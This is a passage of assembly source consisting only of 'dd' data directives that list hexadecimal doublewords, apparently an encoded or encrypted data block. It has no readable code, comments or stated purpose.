dd 0F44C0555h, 8BA2EC3Dh, 0E9C253C1h, 2A999E04h, 50A0F31Dh
dd 42522953h, 683462D4h, 147A4ACCh, 9E939888h, 4BB74510h
dd 1D4D8123h, 0F30B7345h, 43883D7Ah, 0E193BAF3h, 60B948EAh
dd 0A4509CC4h, 6C270578h, 8CD4107Eh, 0A7967A54h, 5A21BE30h
dd 7F4D476Dh, 0B0EEA73Dh, 0DFDD4748h, 0F20B8488h, 1933307h
dd 0E6A4D10Ch, 174E932Ch, 0F76AEF73h, 0B2ECD6FEh, 0BFD24B1Bh
dd 20318F10h, 1D7F073Bh, 0F6F80552h, 9742EC3Dh, 0F18253C1h
dd 3D999E94h, 31AAF317h, 582959h, 0E43E62DEh, 2C724AC5h
dd 8E9B9881h, 0ABBF4506h, 5D458137h, 73037355h, 43803D61h
dd 0E19BBADAh, 60B148A4h, 0A4589D40h, 6C2F0288h, 8C5412EEh
dd 0A7167EF4h, 5AA1B6F0h, 7F4B56EBh, 0B0E9793Bh, 0DFDB3B4Eh
dd 0F20C3C8Ch, 1960303h
dd 0E6A23108h, 174E5328h, 0F7666F77h, 0B2C7D6FAh, 0BE084B1Fh
dd 20898F14h, 1EF3073Fh, 0F7EC0556h, 95E2ECBDh, 0FDC25341h
dd 45199E84h, 26AAF317h, 0E6582959h, 0A03E62DFh, 0A4724AC5h
dd 0BE9B98BEh, 8BBF4507h, 9D458131h, 0F3037359h, 43803D59h
dd 0E19BBAC9h, 60B14886h, 0A4589D04h, 6C2F0300h, 8C541D1Eh
dd 0A7167D14h, 5AA1B530h, 7F4B556Bh, 0B0E97B3Bh, 0DFDB3F4Eh
dd 0F20C348Ch, 1961303h, 0E6A21108h, 174E1328h, 0F767EF77h
dd 0B2C6D6FAh, 0BE0A4B1Fh, 208D8F14h, 1E8B073Fh, 0F79C0556h
dd 9582ECBDh, 0FD825341h, 44999E84h, 37AA63C0h, 0F458BD5Eh
dd 0AC3EF6D8h, 0AC72DEC2h, 0BE9B0869h, 0FBBFD5D0h, 0CD4511E6h
dd 6303E38Eh, 5380A95Fh, 0F19B3794h, 70B1C553h, 0B4580DCFh
dd 7C2F93CFh, 9C548DD9h, 0B716E933h, 4AA138BBh, 6F4BC0ECh
dd 0A0E9E93Ch, 0CFDBA749h, 0E20CB88Bh, 1196F29Ah, 0F6A2FE6Bh
dd 74F41F9h, 0E767FB70h, 0A2C542FDh, 0AE0CD830h, 30811B13h
dd 0E83885Ch, 0E78C9151h, 85A278BAh, 0EC42DC22h, 286CF0ACh
dd 24AADA7Bh, 0DA780979h, 981E42FFh, 94526AE5h, 0FEBBB89Eh
dd 0EB9F6527h, 3D65A111h, 0D3235378h, 63A01D78h, 0D1AB8AB7h
dd 508178AAh, 9468AD2Ch, 5C1F3320h, 0BC642D0Eh, 97264D64h
dd 6A918480h, 4F7B635Bh, 0B0E97F0Bh, 0DFDB374Eh, 0F20C248Ch
dd 1967302h, 0E6A2510Ah, 0F74F9328h, 17660F76h, 52C036F9h
dd 5E08AB1Ah, 0C08D6F13h, 0FE91E736h, 17B0E55Dh, 744C0CB0h
dd 1C12B34Eh, 0A78B7E95h, 0C5BE1304h, 184EC94Ch, 542682C8h
dd 2C68AADCh, 2E8778A5h, 0CBA1A51Ah, 0BD65612Fh, 93219379h
dd 0A3A4DD74h, 1BD5A93h, 8099A8BBh, 44727D39h, 8C03E303h
dd 6C7AFD03h, 47269D5Bh, 0BA9354C1h, 9F7FB2D8h, 50DF910Eh
dd 3FE3CB79h, 1236BCB5h, 0E1AAA338h, 69D5135h, 0F70FB317h
dd 17268F36h, 528736B9h, 5E46AB5Ah, 0C0D16F53h, 0FED9E776h
dd 17E0E51Dh, 742C0CF0h, 1C92B30Eh, 0A74B7ED5h, 0FAFE1344h
dd 1E0EC90Ch, 50668288h, 2428AA9Ch, 1EC778E5h, 0EBE1A55Ah
dd 7D25616Fh, 13619339h, 0A3E4DD34h, 1FD5AD0h, 80D9A8F9h
dd 44327D7Dh, 8C43E34Bh, 6C3AFD33h, 47669CFBh, 0BAD35341h
dd 9F3FB118h, 509F934Eh, 3FA3CF39h, 1276B4F5h, 0E1EAB378h
dd 6DD7175h, 0F7CFF357h, 17E70FF6h, 52463679h, 5E84AB9Ah
dd 0C0156F93h, 0FE21E7B6h, 8D0E5DDh, 748C0C30h, 1C12B3CEh
dd 0A60B7E15h, 0FB3E1384h, 1CCEC9CCh, 0ACA68248h, 3CE8AA5Ch
dd 0E077825h, 8B21A59Ah, 3DE561AFh, 93A193F9h, 0A324DDF5h
dd 13D5A11h, 8019A837h, 44F27D81h, 8C83E393h, 6CFAFDE3h
dd 47A69C1Bh, 0BA1353C1h, 9FFFB058h, 505F958Eh, 3F63C3F9h
dd 12B6AC35h, 0E12D43B8h, 61D11B5h, 0F78C3397h, 17A78FB6h
dd 52053639h, 5EC2ABDAh, 0C0596FD3h, 0FE69E7F6h, 880E59Dh
dd 74EC0C70h, 1F92B38Eh, 0A6CB7E55h, 0F87E13C4h, 128EC98Ch
dd 0A8E68208h, 34A8AA1Ch, 0FE477865h, 0AB61A5D9h, 0FDA561EFh
dd 13E193BEh, 0A364DDB5h, 17D5A56h, 8059A875h, 44B27DC5h
dd 8CC3E3DBh, 6CBAFD93h, 47E69C3Bh, 0BA535241h, 9FBFBF98h
dd 501F97CEh, 3F23C7B9h, 12F6A475h, 0E16D53F8h, 65D31F5h
dd 174C73D7h, 0F70CEF5Fh, 0B2ACD68Fh, 0BE2F4B73h, 20958F14h
dd 2D89360Fh, 0DF4A3062h, 0F6A3D585h, 99673722h, 7BA8AE84h
dd 2F9FC724h, 0B161116Eh, 17A219Dh, 0EC724A83h, 0E9B98BEh
dd 0EB9B4504h, 5D458130h, 335A735Fh, 43803D55h, 0A15832B2h
dd 60B14894h, 0E5CF4AA4h, 5BCF8348h, 0CF15DE17h, 121312E3h
dd 1C320A45h, 9674A71Eh, 0FDD12638h, 26EBC67Ch, 0A88E0BC4h
dd 7EE23C3Fh, 93B67ED5h, 174C5328h, 0B6F5B8F3h, 0B2CFD6FAh
dd 81E84B1Fh, 20A98F14h, 1EB3073Fh, 0DB5E3466h, 0A3D4D989h
dd 0BD836A79h, 0F5CDAC7h, 2C9BC317h, 0C06D1D6Ah, 21075AE8h
dd 811629A7h, 70D298D8h, 0E5D64542h, 0DC0B8156h, 926D7311h
dd 43803D3Bh, 0F19B14F9h, 70B1E6F5h, 0B458331Bh, 7C2FAD23h
dd 9C54B2B4h, 0B716CD77h, 4AA11F06h, 6F4BF308h, 0A0E9C558h
dd 0CFDB711Fh, 0D22159ACh, 6CE3F677h, 92C27F61h, 1D2B7D41h
dd 900A9C77h, 92A2B794h, 0DB6E4B3Ch, 4EC4E266h, 7122735Eh
dd 8D6E2538h, 0E7E799CCh, 91EB5335h, 21F5FFF2h, 6BD9D373h
dd 93395B36h, 3F5F42BAh, 8F012FA6h, 5AF5F1BEh, 9ECD3761h
dd 0B22CF540h, 1D6A7331h, 2AEC5C22h, 99FE9AD4h, 14C42A0Dh
dd 0C134F959h, 8406C78h, 0FE3504EBh, 0CA7E675Dh, 39C8A515h
dd 0D38F9CBh, 0D1E99F54h, 0ABAABC2Ch, 0F20A6C8Ch, 19DE303h
dd 0E6AB7108h, 175DD328h, 0F7436F47h, 0B30DF8FAh, 0BE9C4B1Fh
dd 23A18F14h, 0E043073Fh, 0EC0C0549h, 9CA2ECBDh, 8E425341h
dd 68199E84h, 0DCAAF317h, 4A582958h, 583E62DFh, 0F4724ACAh
dd 5E9B98BCh, 0CBBF4500h, 1D458138h, 0F303736Eh, 43803D34h
dd 0E19BBB7Fh, 60B14EEAh, 0A458993Ch, 6C2F0B50h, 8C540CBEh
dd 0A7160354h, 5AA1F0B0h, 7F4ADB6Bh, 0B0EA6F3Bh, 0DFD9D74Eh
dd 0F208648Ch, 199F303h, 0E6B35108h, 176D9328h, 0F4A0EF77h
dd 0B34CD6FAh, 0BD1E4B1Fh, 22A58F14h, 0E25B073Fh, 0E03C0549h
dd 6342ECBDh, 9E025346h, 8B999E84h, 9DAAF310h, 93037202h
dd 0F653983h, 0C721190h, 4E9B98BAh, 2BBF450Ch, 5D458103h
dd 7303737Eh, 43803D13h, 0E19BBB3Eh, 60B14F6Ch, 0A4589730h
dd 6C2F1768h, 8C57F4AEh, 0A7163374h, 5AA210F0h, 7F4A1AEBh
dd 0B0EAE13Bh, 0DFDECB4Eh, 0F2069C8Ch, 185C30Bh, 0E684B118h
dd 177D5308h, 0F4806F37h, 0B38BD67Ah, 0BD904A1Fh, 2DB98D14h
dd 0E453033Fh, 0E42C0549h, 6B62ECBDh, 0B7515666h, 0AB199E84h
dd 52AAF310h, 4E582958h, 403F6730h, 14734F18h, 6E9A9D00h
dd 1BBE40A8h, 9D45810Bh, 0F303730Eh, 43803CF3h, 0E19BB4FDh
dd 60B14CEEh, 0A4589534h, 6C2F1360h, 8C57FCDEh, 0A7162294h
dd 5AA24F30h, 7F4A596Bh, 0B0EB633Bh, 0DFDFCF4Eh, 0F204948Ch
dd 181D303h, 0E68C9108h, 178D1328h, 0F4E1EF77h, 0B3CAD6FAh
dd 0BC124B1Fh, 2CBD8F14h, 0E66B073Fh, 0D8DC0549h, 7302ECBDh
dd 0BE825346h, 0CA999E84h, 13AAF310h, 0CC582959h, 6C3E62D9h
dd 0C72BB41h, 7E9B693Fh, 7BBFB4FCh, 0CD45709Bh, 63038296h
dd 5380CD5Ah, 0F19B45D4h, 60B14D60h, 0A45892C8h, 6C2F1178h
dd 8C57F8CEh, 0A7162AB4h, 5AA25F70h, 7F4A78EBh, 0B0EB253Bh
dd 0DFDC434Eh, 0F2058C8Ch, 1832B01h, 0E688F109h, 79A22FCh
dd 0E4D19EA2h, 0AC29272Eh, 0AC54BACBh, 3F317EC0h, 0F763F6EBh
dd 0CACCF4FDh, 7F22ECBDh, 41425346h, 0DA199E84h, 0F0AAF310h
dd 8258295Bh, 0E83E62D9h, 14724ACEh, 9E9B98B7h, 4BBF4572h
dd 1D45811Fh, 0F3037B27h, 43803CC0h, 0F19B446Bh, 70B1BC62h
dd 0B45863BCh, 7C2FEF80h, 9C57140Eh, 0B71620F4h, 4AA29CB0h
dd 7F4DA76Bh, 0B0EBE73Bh, 0DFDCC74Eh, 0F202848Ch, 18D3303h
dd 0E694D108h, 17A29328h, 0F43EEF77h, 0BC08D6FAh, 0BC964B1Fh
dd 3FB57E54h, 0F87BF6B3h, 0CCFCF491h, 7BC2ECBDh, 49025346h
dd 0ED999E84h, 0D1AAF310h, 4058295Bh, 643E62D9h, 2C724ACEh
dd 8E9B98B4h, 0ABBF4570h, 5D45811Bh, 7303732Dh, 43803CB1h
dd 0E19BB57Ah, 60B152E4h, 0A45890C0h, 6C2F1C88h, 8C57E6EEh
dd 0A716D6F4h, 5AA266F0h, 7F4DB6EBh, 0B0EBB93Bh, 0DFDCBB4Eh
dd 0F2033C8Ch, 18C0303h
dd 0E6963108h, 17A65328h, 0F4366F77h, 0BC67D6FAh, 0BCC84B1Fh
dd 2E098F14h, 0E9F3073Fh, 0DDEC0549h, 79E2ECBDh, 55C25346h
dd 0F5199E84h, 0C6AAF310h, 2658295Bh, 203E62D9h, 0A4724ACEh
dd 0BE9B98B5h, 8BBF4571h, 9D4580E5h, 0F3037D31h, 438020A9h
dd 0E19A4D69h, 60B162C6h, 0A45B7084h, 6C2FDD00h, 8C57611Eh
dd 0A711D514h, 5AAC6530h, 7F51B56Bh, 0B0E3BB3Bh, 0DFCCBF4Eh
dd 0F223348Ch, 14C1303h, 0E6161108h, 18A61328h, 0F237EF77h
dd 0B866D6FAh, 0B4CA4B1Fh, 1E0D8F14h, 0C98B073Fh, 1D9C0549h
dd 0F982ECBDh, 55825346h, 0F4999E87h, 0C7AAF312h, 2458295Fh
dd 3C3E62D1h, 0BC724ABEh, 0AE9B9955h, 0EBBF4AB1h, 0DD458365h
dd 73037F31h, 438024A8h, 0E19A4568h, 60B172D8h, 0A45B5098h
dd 6C2F9D18h, 8C56E10Eh, 0A710D534h, 5AAE6570h, 7F55B4EBh
dd 0B0DBBD3Bh, 0DF3CB34Eh, 0F2432C8Ch, 10C6303h, 0E7967108h
dd 19A7D328h, 0F0376F77h, 8465D6FAh, 0ACCC4B1Fh, 0E018F14h
dd 0A983073Fh, 5D8C0549h, 79A2ECBDh, 54425347h, 0F4199E86h
dd 0C4AAF31Ch, 3A582923h, 383E62C9h, 0B4724AAEh, 0DE9B9975h
dd 0CBBF4AF1h, 1D4582E5h, 0F3037930h, 438028A8h, 0E19A5D57h
dd 60B182DAh, 0A45B309Ch, 6C285D10h, 8C56613Eh, 0A713D554h
dd 5AA864B0h, 7F59B36Bh, 0B0D3BF3Bh, 0DF2CB74Eh, 0F263248Ch
dd 1ECC7303h, 0E7165108h, 1AA79328h, 0FE34EF77h, 8064D6FAh
dd 0A4CE4B1Fh, 0FE058F14h, 899B073Fh, 9DBC0549h, 0F842ECBEh
dd 54025347h, 0F7999E81h, 0C5AAF31Eh, 38582927h, 343E62C1h
dd 0CC724A9Eh, 0CE9B9915h, 2BBF4B31h, 5D459D64h, 73037B30h
dd 43802CA7h, 0E19A5556h, 60B192DCh, 0A45B1090h, 6C281D28h
dd 8C59E12Eh, 0A712D574h, 5AAA64F0h, 7F5DB2EBh, 0B0CBB13Bh
dd 0DF1CAB4Eh, 0F2835C8Ch, 1E8C4303h, 0E097B108h, 1BA75328h
dd 0FC346F77h, 8C63D6FAh, 9CC04B1Fh, 0EE198F14h, 6993073Fh
dd 0DDAC0549h, 7862ECBEh, 54C25344h, 0F7199E80h, 0BAAAF318h
dd 3E58292Bh, 303E6339h, 0C4724C8Eh, 0FE9B9535h, 0BBF5371h
dd 9D45ECE4h, 0F3032530h, 4381D0A7h, 0E19AED55h, 60B2A2DEh
dd 0A45DF094h, 6C24DD20h, 8C41615Eh, 0A73DD494h, 5B746330h
dd 7EE1B16Bh, 0B043B33Bh, 0DC0CAF4Eh, 0ECA3548Ch, 1A4C5303h
dd 0E8179108h, 6CA71328h, 0DA35EF77h, 4862D6FAh, 14C24B1Eh
dd 0DE1D8F14h, 49AB0720h, 1E5C054Bh, 0F802ECBAh, 5482534Ch
dd 0F6999EB3h, 0BBAAF37Ah, 3C5828EFh, 0CC3E64B1h, 0DC724F7Fh
dd 0EE9B96D5h, 6BBF50B1h, 0DD45EF64h, 73032730h, 4381D4A6h
dd 0E19AE554h, 60B2B2D0h, 0A45DD0A8h, 6C249D38h, 8C40E14Eh
dd 0A73CD4B4h, 5B766370h, 7EE5B0EBh, 0B03BB53Bh, 0DC7CA34Eh
dd 0ECC34C8Ch, 1A0FA303h, 0E997F108h, 6DA4D328h, 0D8356F77h
dd 5461D6FAh, 0CC44B1Eh, 0CE118F14h, 29A30720h, 5E4C054Bh
dd 7822ECBAh, 5742534Dh, 0F6199EB2h, 0B8AAF364h, 325828F3h
dd 0C83E64A9h, 0D4724F6Fh, 1E9B96F5h, 4BBF50FEh, 1D45EEE4h
dd 0F3032137h, 4381D8A6h, 0E19AFD53h, 60B2C2D2h, 0A45DB0ACh
dd 6C255D30h, 8C40617Eh, 0A73FD4D4h, 5B7062B0h, 7EE9BF6Bh
dd 0B033B73Bh, 0DC6CA74Eh, 0ECE3448Ch, 1BCFB303h, 0E917D108h
dd 6EA49328h, 0C632EF77h, 5060D6FAh, 4C64B1Eh, 41EA70EBh
dd 0C9BB0725h, 9E7C0540h, 38C2ECA6h, 57025349h, 39999E3Bh
dd 0B9AAF362h, 0F058287Ah, 0C43E64A9h, 2C724FD1h, 0E9B969Dh
dd 6BBF51B1h, 5D45E96Ch, 0B30323A7h, 4381DCADh, 219AF5C3h
dd 60B2D2DCh, 645D9032h, 6C251D40h, 4C43E1FDh, 0A73ED4FCh
dd 5B7262F0h, 7EEDBEEBh, 0B02BA93Bh, 0DC5D5B4Eh, 0ED037C8Ch
dd 1B8F8303h, 0EA973108h, 6FA45728h, 0C4326F77h, 5C6FD6FAh
dd 7CD84B1Eh, 0AE298F14h, 0E9B30720h, 0DE6C054Ah, 78E2ECBBh
dd 57C25372h, 0F9199EACh, 0BEAAF360h, 365828FBh, 0C03E6499h
dd 0E4724F4Fh, 3E9B96B5h, 8BBF517Eh, 9D45E8E4h, 0F3032D37h
dd 4381C0A5h, 0E19A8D51h, 60B2E2D6h, 0A45C70A4h, 6C25DD40h
dd 8C43609Eh, 0A739DB14h, 5B7C6130h, 7EF1BD6Bh, 0B023AB3Bh
dd 0DC4D5F4Eh, 0ED23748Ch, 1B4F9303h, 0EA171108h, 70A41328h
dd 0C233EF77h, 586ED6FAh, 74DA4B1Eh, 9E2D8F14h, 0C94B0720h
dd 1E1C054Ah, 0F882ECBBh, 57825372h, 0F8999EAFh, 0BFAAF362h
dd 345828FFh, 0DC3E6491h, 0EC72A81Fh, 2E9B9755h, 0EBBF56BEh
dd 0DD45EB64h, 73032F37h, 4381C4A4h, 0E19A8550h, 60B2F2A8h
dd 0A45C50B8h, 6C259D58h, 8C42E08Eh, 0A738DB34h, 5B7E6170h
dd 7EF5BCEBh, 0B01BAD3Bh, 0DDBD534Eh, 0ED436C8Ch, 1B0FE303h
dd 0EB977108h, 71A5D328h, 0C0336F77h, 246DD6FAh, 6CDC4B1Eh
dd 8E218F14h, 0A9430720h, 5E0C054Ah, 78A2ECBBh, 56425373h
dd 0F8199EAEh, 0BCAAF36Ch, 0A5828C3h, 0D83E6489h, 0F4724F2Fh
dd 5E9B9775h, 0CBBF56FEh, 1D45EAE4h, 0F3032936h, 4381C8A4h
dd 0E19A9D5Fh, 60B302AAh, 0A45C30BCh, 6C265D50h, 8C4260BEh
dd 0A73BDB54h, 5B7860B0h, 7EF9BB6Bh, 0B013AF3Bh, 0DDAD574Eh
dd 0ED63648Ch, 18CFF303h, 0EB175108h, 72A59328h, 0CE30EF77h
dd 206CD6FAh, 64DE4B1Eh, 7E258F14h, 895B0721h, 9E3C054Ah
dd 0C742ECB4h, 56025373h, 0FB999EA9h, 0BDAAF36Eh, 85828C7h
dd 0D43E6481h, 0C724F1Fh, 4E9B9715h, 2BBF573Eh, 5D45E567h
dd 73032B36h, 4381CCA3h, 0E19A955Eh, 60B312ACh, 0A45C10B0h
dd 6C261D68h, 8C45E0AEh, 0A73ADB74h, 5B7A60F0h, 7EFDBAEBh
dd 0B00BA13Bh, 0DD9D4B4Eh, 0ED839C8Ch, 188FC353h, 9490B108h
dd 63A5B412h, 0CC306F77h, 2C6BD6F9h, 4CD0A108h, 6E398F14h
dd 69530721h, 0DE2C054Ah, 4762ECB4h, 56C25370h, 0FB199EA8h
dd 0B2AAF368h, 0E5828CBh, 0D03E64F9h, 4724F0Fh, 7E9B9735h
dd 0BBF577Eh, 9D45E4E7h, 0F3033536h, 4381B0A3h, 0F19A474Bh
dd 60B322AEh, 0A45CF0B4h, 6C26DD60h, 8C4560DEh, 0A735DA94h
dd 5B647F30h, 7EC1B96Bh, 0B003A33Bh, 0DD8D4F4Eh, 0EDA3948Ch
dd 184FD303h, 94109108h, 74A51328h, 0CA31EF77h, 286AD6FAh
dd 44D2A108h, 5E3D8F14h, 496B0721h, 1EDC054Ah, 0C702ECB4h
dd 56825370h, 0FA999EABh, 0B3AAF36Ah, 0C5828CFh, 0EC3E64F1h
dd 1C724EFFh, 6E9B90D5h, 6BBF54BEh, 0DD45E767h, 73033736h
dd 4381B4A2h, 0F19A4F4Ah, 60B332A0h, 0A45CD148h, 6C269B78h
dd 8C44ECCEh, 0A734C2B4h, 5B668F70h, 7EC5D8EBh, 0B3F4653Bh
dd 0DDFDC34Eh, 0EDC08C8Ch, 18092303h, 959CF108h, 75B2D328h
dd 0C8216F77h, 3449D6FAh, 5B14A682h, 5EB16288h, 3A63EABDh
dd 40CCE8D6h, 53220128h, 4942BEEDh, 1A197336h, 0EFD58C2Bh
dd 0BD2757ACh, 17411B95h, 14723190h, 8E9B7D6Fh, 5BBFB960h
dd 0D450B7Fh, 0F303313Dh, 3C71B892h, 0E19ABD3Bh, 1F4B4362h
dd 0A45C8ECCh, 50B75970h, 8C4468FEh, 9977CAD4h, 5B609EB0h
dd 3EFB076Bh, 0B3EC273Bh, 0DDD2474Eh, 0EDE17E0Ch, 19CB3303h
dd 9518D108h, 76BB93E6h, 360E131Bh, 30A82D53h, 43564B1Eh
dd 39358F14h, 0B7A050Fh, 92FCF8DEh, 0CFC21745h, 61025371h
dd 1D999EA5h, 71ABF1CEh, 8058D50Bh, 0E43E98B2h, 2C724EDCh
dd 8E9B9093h, 0ABBE5782h, 5D451F53h, 7303CE9Dh, 4381BA81h
dd 0E19AB91Ah, 60B24830h, 0A45C6104h, 6C270688h, 8C442AEEh
dd 0A7364EF4h, 5B6196F0h, 7ECB16EBh, 0B3E80763h, 0DDDAC526h
dd 0EE0EC208h, 19AAFD9Fh
dd 955ACFBCh, 773EADECh, 370691A3h, 32872811h, 0BF88B5E6h
dd 21897025h, 1CF3F83Fh, 0F3ECFA64h, 8DE213F5h, 0EDC2AC25h
dd 251961C6h, 66AA0C23h, 6658D7A5h, 0A03E9B4Ch, 0A472B166h
dd 0BE9B6F30h, 8BBFAAD9h, 9D451EFBh, 0F303CCA9h, 43814289h
dd 0E19BBB0Dh, 60B24F16h, 0A45D9722h, 6C26173Ch, 8C46F556h
dd 0A7370D40h, 5B631554h, 7ECB151Bh, 0B3EBFBBDh, 0DDDF3FEEh
dd 0EE07343Eh, 199B1023h, 96BB1238h, 777F1016h, 3486EC39h
dd 3387D5A5h, 0BD8B4872h, 2D8C8C51h, 0E48A04A7h, 0E39D06D9h
dd 6D83EF17h, 0AD8350D8h, 0A4989D18h, 67ABF098h, 64592B0Ch
dd 0BC3F673Ch, 0BC734D34h, 0AE9A94B2h, 0EBBE511Dh, 0DD44E525h
dd 7302373Fh, 4380B8BCh, 0E19BB15Ah, 60B25776h, 0A45E6B90h
dd 6C262382h, 8C46D1A6h, 0A737C988h, 5B6391BEh, 7ECC100Bh
dd 0B3E5F9C3h, 0DDC3365Ch, 0EE3F29AEh, 198B6631h, 969B7436h
dd 77BED666h, 34066A11h, 3C84D383h, 0BB8D4E9Ah, 29818F2Bh
dd 0EC8207FDh, 0D38D05A3h, 4DA3EDB5h, 6C435278h, 24189FBAh
dd 64ABF27Eh, 7A592995h, 0B83F65B0h, 0B4734FB0h, 0DE9A913Ch
dd 0CBBE54D9h, 1D44E151h, 0F3023D18h, 4380BE90h, 0E19BB70Fh
dd 60B25310h, 0A45E6906h, 6C272F10h, 0C47C54Dh, 2736ED20h
dd 0DB62D4A7h, 0FECC937Eh, 33E5FF38h, 5DC0375Ch, 6E3A2480h
dd 9972730Ah, 16EA510Ch, 0F7DF932Ah, 0B444EF7Ah, 0BD04D6FAh
dd 3A8E4B11h, 0AB858F3Bh, 709B0732h, 4BBC0547h, 0DC42EC81h
dd 8C025370h, 0E7999E9Dh, 65AAF35Bh, 0F85828CEh, 343E64CAh
dd 4C724EDDh, 0CE9B90ACh, 2BBE57C7h, 5D45E0F8h, 73023E2Eh
dd 4380BDE1h, 0E19BB59Ch, 60B2541Ch, 0A45F6710h, 6C27C970h
dd 8C474B46h, 0A73673F0h, 5B63EA6Ch, 7ECCEC5Fh, 0B3E60FFFh
dd 0DDC6D59Ah, 0EE36A266h, 197ABDFBh, 96FB4E06h, 77FFAC36h
dd 35849059h, 3D8329BBh, 0B980B44Ah, 15997049h, 0F493F855h
dd 0C3ACFA31h, 2C621327h, 2CC2ACD4h, 0A7196114h, 5AAA0C93h
dd 7E58D708h, 0B03E9B34h, 0C472B140h, 0FE9A90ACh, 0BBE557Bh
dd 9D44E0EEh, 0F3023CB4h, 4380BEBFh, 0E19BB0A1h, 60B2557Ah
dd 0A45E6364h, 6C263FA6h, 8C46A5FEh, 0A737AC26h, 5B625010h
dd 7ECE925Bh, 0B3E6F005h, 0DDC52C00h, 0EE3357D2h, 1963506Fh
dd 96CA9272h, 781E10AEh, 35C4ECE3h, 3E03D559h, 0B88348B0h
dd 179C8C97h, 0F8AA04E9h, 3C5D0699h, 3C03EF51h, 0CC83508Ah
dd 0E6989AADh, 0DBABF747h, 7C592CF1h, 4C3F60E3h, 0DC734AF2h
dd 0EE9A94F6h, 6BBE513Dh, 0DD44E450h, 73023832h, 4380BA1Eh
dd 0E19BB5C8h, 60B25FDEh, 0A45E7BC8h, 6C26C3C0h, 8C46905Ch
dd 0A7304996h, 5B629642h, 7ECE15D5h, 0B3E1F075h, 0DDCB2628h
dd 0EE2F49F4h, 1954A687h, 96DBF108h, 783DD3F4h, 35046F99h
dd 3E80D7FBh, 0B7854A10h, 11908E35h, 0FCA2060Fh, 344D0403h
dd 0C23EDDFh, 0EF43520Ah, 26189F2Bh, 58ABF2F3h, 72592965h
dd 483F6506h, 0D4734F5Ch, 1E9A9158h, 4BBE5752h, 1D44E2B2h
dd 0F3033D4Fh, 0C381A105h, 619AB287h, 0E0B35905h, 245F7B39h
dd 0EC27CF33h, 0C47856Ch, 27316CD8h, 0DB63D2B9h, 0FECE9F6Fh
dd 33E1F739h, 5DC82743h, 6E2A448Dh, 995DB30Ch, 162BD118h
dd 0F85C933Bh, 0B542EF7Dh, 0BF00D6CFh, 36864B18h, 93958F12h
dd 40BB072Ah, 0AC7C0559h, 9CC2ECA4h, 0F025319h, 69999EA7h
dd 0D9ABF1F5h, 705828DCh, 443F6611h, 0EC734C6Ch, 0E9A93B6h
dd 0ABBE5840h, 5D45FCB8h, 1645C56Fh, 20E8C541h, 94F61019h
dd 60B3EB7Ah, 0CA16F720h, 0D49A321h, 0E9331C02h, 0D3447EB7h
dd 37357199h, 0ABD7BB8h, 0B3AC8652h, 0B34BDB4Eh, 0ADD419F8h
dd 7F31EA71h, 0C357506Bh, 1508304Dh, 3A820118h, 6AC3D6FBh
dd 0D6FD3D7Fh, 0B4DDE659h, 17DF6642h, 4D186628h, 0ECE282D9h
dd 0CA855374h, 0CD6DCDD7h, 3AC49212h, 76584DC0h, 25796530h
dd 871D0D0Ch, 57CFFEB9h, 8BBF3C25h, 0F802F888h, 976D807Bh
dd 5E4EC80h, 0AFFC6098h, 21D6B077h, 0A45E7324h, 0D42B00Ch
dd 0E02725F2h, 0A729B07Bh, 291F5130h, 1B45FC0Eh, 0D6CF827Dh
dd 0AD3CBE03h, 0AE451AE5h, 174D9303h, 0DE7F744Fh, 5E86049h
dd 50AC9D05h, 180ED6FBh, 0A2EA2A53h, 0D0DAEA42h, 0A4224147h
dd 1C1C0529h, 9DEF82E2h, 2AEB050Ah, 0AEFFD1A8h, 0DFCF9F2Bh
dd 41728BFh, 35780B74h, 9D3F2452h, 40F2E324h, 0EBBF1FD7h
dd 0B106FA98h, 3B67BA40h, 2FE5E6D5h, 0E1991D15h, 10D96DABh
dd 0F73B4359h, 24B292Ch, 8C4A2DE9h, 0CB78C334h, 5B281415h
dd 1070DCEBh, 0DFFE084Fh, 0A7C6B021h, 8C1829E8h, 73A7826Bh
dd 9313716Dh, 23C8A16Bh, 5B6E0A03h, 0A135B38Fh, 0E31C4B1Eh
dd 10C4FF64h, 0EF37726Fh, 900C4434h, 0B6E1ECB0h, 3B36321Eh
dd 6B76EC89h, 0DDD9802Bh, 0CA582887h, 144A0051h, 0B106327Eh
dd 2CF4E160h, 0CBBF5F3Ch, 78299024h, 9A44AE4Ah, 43C0E9F8h
dd 84DE153Fh, 0DD1471Eh, 0D03FBF4Ch, 6C226638h, 0E90AD4BEh
dd 0CA4FA720h, 3733D6C0h, 135C550Eh, 0B384AE5Eh, 0ADC1D74Eh
dd 86F81DFCh, 1434966Fh, 0F9C85108h, 2FD4D55Ch, 5874AE12h
dd 99EEBF89h, 9AED2E6Ah, 69A58F2Bh, 18326675h, 874E6A0Ah
dd 272582D9h, 4601C1Dh, 2BEDFDBDh, 2EC6F348h, 383B5AFFh
dd 547F0B03h, 7F1E410Ch, 23F8E144h, 2BFE3608h, 2F06F4EBh
dd 1676B5ABh, 2DE4F936h, 0E199578Ah, 5E710ECh, 0C128A844h
dd 6C225706h, 0E90ADCAEh, 0CB43A500h, 2F2EF195h, 0B5F3399h
dd 0F2F6044Fh, 0C283CB4Eh, 8AC8F2C5h, 771EAF71h, 0D988D463h
dd 22A53050h, 6D050819h, 0ECCBB29Fh, 0BF574B1Eh, 5D6CC5Fh
dd 0A3D664Fh, 0AD426C00h, 5362ECF1h, 1FB13A3Ch, 1F7CF2BAh
dd 73CF8120h, 0AC3164EFh, 294C0409h, 681E204Eh, 3BD0935Dh
dd 47FA1136h, 0F96BC6C0h, 0F302B8B2h, 26D38F53h, 84EB55DAh
dd 2BD1650Fh, 0DC1B9251h, 6C222F21h, 0DF2AA18Ch, 0C67CE6F1h
dd 1E3F9A5Ch, 7E3CD813h, 0D6D7E33Bh, 0ADEC8C29h, 8AF1F1FFh
dd 147DD37Ah, 0D393F45Ah, 8B37658h, 54049612h, 0ED0AD6BAh
dd 9EF52E4Ch, 1FD8E34Eh, 90E4C47h, 0CCDC050Dh, 2F6B82F9h
dd 67EE3211h, 0FCAFBA2h, 0BAD8862Bh, 291C51FEh, 54C0608h
dd 6E1D3482h, 6E9B8D2Ch, 38CB4633h, 0AF30AF9Eh, 377B9087h
dd 31E21C57h, 8EEDA715h, 3D5D292h, 0A451E8A4h, 2595D37h
dd 0ED3C839Dh, 0C245FBDAh, 5B4ABE02h, 0E53B8EBh, 0D616CB5Eh
dd 0A168353Ch, 0E8BBCDE9h, 7E3C2303h, 0CB958267h, 229CA14Dh
dd 7CF90A14h, 0A805B295h, 1AD44B1Eh, 9854FA7Ah, 306545Bh
dd 0ABAF6C39h, 534398E1h, 11422009h, 125A9ED0h, 0D5CD9CD9h
